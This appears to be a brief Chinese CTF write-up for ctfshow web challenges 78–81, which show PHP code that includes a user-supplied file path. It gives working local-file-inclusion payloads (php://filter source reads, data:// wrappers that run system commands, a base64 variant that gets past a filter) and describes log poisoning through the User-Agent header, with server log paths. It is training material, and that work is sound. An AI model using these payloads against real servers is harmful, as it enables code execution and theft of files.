ctfshow-web-78
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
file://伪协议
?file=php://filter/convert.base64-encode/resource=flag.php
data://伪协议
?file=data://text/plain,<?php system("tac flag.php");?>
ctfshow-web-79
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
过滤了php,还是能用data协议
?file=data://text/plain,<?= system("tac flag.php");?>
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs/Pg==
ctfshow-web-80、81
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
日志包含:
日志文件记录了服务器收到的每一次请求的:IP、访问时间、URL、User-Agent,
访问URL时,服务器会对其编码,而通过User-Agent写入日志,内容不会改变.
首先需要开启服务器记录日志功能
在不同的系统中,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log
apache2一般是/var/log/apache2/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
通过User-Agent头注入命令,包含日志,执行命令:
![](https://img-blog.csdnimg.cn/img_convert/c1765453473b5370f0a52708d3eba2e7.png)